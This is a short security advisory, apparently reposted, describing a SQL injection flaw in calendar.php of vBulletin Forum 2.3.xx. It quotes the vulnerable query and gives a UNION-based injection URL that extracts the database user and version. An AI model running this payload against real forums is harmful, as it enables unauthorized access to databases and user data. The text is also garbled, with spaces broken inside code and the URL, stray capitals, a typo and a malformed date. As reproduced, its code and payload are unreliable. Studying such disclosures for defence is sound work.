VBulletinForum2.3.xxSQLInjection

VBulletin Forum 2.3.xx SQL Injection
There exist a SQL injection problem in calendar. php.
-------- Cut from line 585 in calendar. php ----------
Else if ($ action = "edit ")
{
$ Eventinfo = $ DB_site-> query_first ("SELECT allowsmilies, public, userid,
Eventdate, event, subject FROM calendar_events WHERE eventid = $ eventid ");
-----------------------------------------------------
If the MySQL version is greater than 4.00, a UNION attack cocould be used.
-----------------------------------------
Http://ww.xxx.com/bbs/calendar.php? Action = edit & eventid = 12% 20 union % 20 (SELECT % 20 allowsmilies, public, userid, '2017-0-0 ', user (), version () % 20 FROM % 20calendar_ev
Ents % 20 WHERE % 20 eventid % 20 = % 2013) % 20 order % 20by % 20 eventdate
-----------------------------------------
The query_first function will only return the first row of the query result, so make sure it returns!
The one you want.